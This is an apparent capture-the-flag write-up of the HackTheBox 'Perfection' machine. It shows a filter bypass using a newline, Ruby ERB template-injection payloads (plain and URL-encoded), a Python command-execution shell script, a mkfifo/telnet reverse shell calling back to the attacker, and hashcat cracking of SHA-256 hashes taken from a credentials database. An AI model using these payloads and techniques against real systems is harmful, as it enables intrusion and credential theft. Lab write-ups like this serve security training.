This HackTheBox can be found here.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.253
1
2
3
4
5
6
7
8
9
10
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So only port 22 and 80 are open. Let’s check out the HTTP server.
Port 80
The webpage is a ‘Weighted Grade Calculator’. If we go to the /weighted-grade
endpoint, we can try it out:
We also see that the application was made by ‘Secure Student Tools’ and the server is running ‘WEBrick 1.7.0’. I intercepted a calculator request in Burp and sent it to the repeater. If I add a '
to any of the inputs, the server returns with ‘Malicious input blocked’:
Initial Foothold
I spent a lot of time at this point in Burp testing what characters/input would flag the ‘Malicious input blocked’ message. The weighted-grade
endpoint was the only location where we could pass data to the server, so I focused my attention there, specifically looking for SSRF and SSTI vulnerabilities. Eventually, I found this article which showed using a newline character (%0A
) to bypass the filter:
1
category1=a%0Atest;&grade1=95&weight1=20&category2=b&grade2=95&weight2=20&category3=c&grade3=95&weight3=20&category4=d&grade4=95&weight4=20&category5=e&grade5=95&weight5=20
Now that we can bypass the input filter, I did more testing. Eventually, I found that the server is vulnerable to SSTI by using the embedded ruby (ERB) template. This was verified by using the following payload:
1
<%= File.open('/etc/passwd').read %>
Before we can use this payload, we first need to URL encode it. Doing this gives us the following:
1
%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%72%65%61%64%20%25%3e
Once adding the above to after our newline, we get the output of etc/passwd
:
When looking at the output of etc/passwd
, we see a user named susan
. Let’s take a look at the home directory:
1
<%= Dir.entries('/home/susan') %>
1
%3c%25%3d%20%44%69%72%2e%65%6e%74%72%69%65%73%28%27%2f%68%6f%6d%65%2f%73%75%73%61%6e%27%29%20%25%3e
Let’s grab the user flag:
1
2
<%= File.open('/home/susan/user.txt').read %>
1
%3c%25%3d%20%46%69%6c%65%2e%6f%70%65%6e%28%27%2f%68%6f%6d%65%2f%73%75%73%61%6e%2f%75%73%65%72%2e%74%78%74%27%29%2e%72%65%61%64%20%25%3e
We have the user flag, but we still need to get a shell on the host. Using the following payload, I confirmed that the <%= system("whoami") %>
command would call beck to us:
1
<%= IO.popen('wget http://10.10.16.2').readlines() %>
1
%3c%25%3d%20%49%4f%2e%70%6f%70%65%6e%28%27%77%67%65%74%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%27%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%20%25%3e
I next tried some basic reverse shells, but wasn’t able to catch one. Even though it was unnecessary, I came up with a quick python script to gain a semi-interactive shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
"""\
This script is for a semi-interactive shell on the Perfection machine from HackTheBox
https://app.hackthebox.com/machines/590
Usage: python3 perfection_exploit.py <target_IP>
"""
import requests
import sys
try:
ip= sys.argv[1]
except:
print("Please rerun with the target IP address as the first argument")
print("Ex: python3 perfection_exploit.py 10.10.11.253\n")
sys.exit(0)
nl="a\n"
perfection_url = "http://"+ip+":80/weighted-grade-calc"
perfection_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://10.10.11.253", "Connection": "close", "Referer": "http://10.10.11.253/weighted-grade", "Upgrade-Insecure-Requests": "1"}
while True:
payload="<%= IO.popen(\""+input("> ") + "\").readlines() %>"
post_data = {"category1": nl+payload+" ", "grade1": "95", "weight1": "20", "category2": "b", "grade2": "95", "weight2": "20", "category3": "c", "grade3": "95", "weight3": "20", "category4": "d", "grade4": "95", "weight4": "20", "category5": "e", "grade5": "95", "weight5": "20"}
response = requests.post(perfection_url, headers=perfection_headers, data=post_data)
start = '['
end = ']'
s = str(response.content)
s = (s[s.find(start)+len(start):s.rfind(end)])
print(s.replace("\\n","\n").replace("\\","").replace("\", \"","").replace("\"",""))
I found that we can use telnet to upgrade to an interactive shell after more testing:
1
2
3
4
5
6
7
8
# On our attacking machine
nc -nvlp 1234
# On the target machines semi-shell
> TF=$(mktemp -u);mkfifo $TF && telnet <attackers IP> 1234 0<$TF | /bin/sh 1>$TF
# Back on our attacking machine, we can upgrade the shell with python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
Before running linpeas, I checked out Susan’s home directory. Within ~/Migration/
, there was a file named pupilpath_credentials.db
:
We can interact with the .db file by using sqlite3:
1
2
3
4
5
6
7
8
9
10
sqlite3 -column -header
# Loading out database file
.open "pupilpath_credentials.db"
# Viewing the tables
.tables
# Dumping all the data from the users table
SELECT * FROM users;
We are able to dump five hashes from the database. I’ll copy these values and bring them over to my local machine to crack them. Using hash-identifier
, we can see that the hashes are likely SHA-256. I’ll use hashcat
against them:
1
sudo hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt
After running the hashes against rockyou.txt
, none were cracked. This usually means that I was most likely on the wrong path. I ran linpeas.sh
and further enumerate the box. Eventually, I found the text below in /var/mail/susan
:
1
2
3
4
5
6
7
8
9
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
Now that we know the format of the password, we can create a wordlist of {firstname}_{firstname backwards}_
and a mask of ?d?d?d?d?d?d?d?d?d
:
1
2
# Our wordlist
susan_nasus_
Note: I first used a word/hash list of all the users obtainded from the .db
file, but switched to just attempting to crack Susan’s hash (since that is the account we have access to) upon seeing Hashcat’s estimated time.
1
sudo hashcat -m 1400 -a 6 hashes created_wordlist '?d?d?d?d?d?d?d?d?d' --increment
After some time, we are able to recover the password of susan_nasus_413759210
:
Running sudo -l
shows that we have sudo access:
We can finish this box by grabbing the root flag:
1
sudo cat /root/root.txt